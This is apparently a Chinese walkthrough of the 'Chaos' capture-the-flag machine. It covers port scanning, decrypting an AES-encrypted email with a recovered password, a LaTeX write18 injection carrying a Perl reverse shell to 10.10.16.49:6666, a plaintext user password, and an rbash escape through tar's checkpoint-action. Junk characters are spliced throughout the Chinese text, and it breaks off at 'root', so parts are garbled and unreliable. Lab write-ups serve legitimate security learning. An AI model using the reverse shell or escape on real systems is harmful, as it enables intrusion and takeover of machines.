1.端口信息，通過nmap掃描废恋，發(fā)現(xiàn)Chaos開放6個端口谈秫，主要有web及郵件服務。

端口信息

image.png

enumerate

webmail

郵件原文

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

不難看出getkey生成了最初的密鑰，輸入?yún)?shù)password就是郵件中提到的sahay尝江。encrypt采用AES CBC加密算法涉波，初始向量IV采用16位隨機字符串。base64解碼后的密文enim_msg.txt炭序，文本長度為272啤覆，剛好可以整除16，272/16=17惭聂，因此可以確定CBC分組長度為16窗声。根據(jù)AES標準，密文前16位為IV初始向量辜纲，即：
IV = 0000000000000234

IV

響應的解密函數(shù)及明文如下：

from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import Crypto.Cipher.AES
from binascii import hexlify, unhexlify

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

if __name__=="__main__":
    chunksize = 64*1024
    mkey = getKey("sahay")
    mIV = (b"0000000000000234")

    decipher = AES.new(mkey,AES.MODE_CBC,mIV)

    with open("demsg.txt", 'rb') as infile:
        chunk = infile.read(chunksize)
        plaintext = decipher.decrypt(chunk) 
        print plaintext

注意解密后笨觅，明文為base64編碼，前16位IV應該除去耕腾，剩余字符串可正常解碼：

明文

pdfTeX, Version 3.14159265-2.6-1.40.19

\immediate\write18{perl -e 'use Socket;$i="10.10.16.49";$p=6666;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}

7.獲取user.txt没炒。在獲取一個www-data權限的shell后，可以利用ayush的密碼jiujitsu切換至ayush的會話中犯戏，但這是一個rbash送火，環(huán)境變量被設置在/home/ayush/.app中，拒絕了絕大多數(shù)的命令先匪，經過嘗試dir可以正常執(zhí)行种吸，在.app目錄中有tar，這可以用來逃逸rbash限制呀非。
逃逸POC：tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
獲得正常bash后坚俗，添加環(huán)境變量export PATH=$PATH:/usr/bin/镜盯，打印出user.txt。

獲取user.txt

root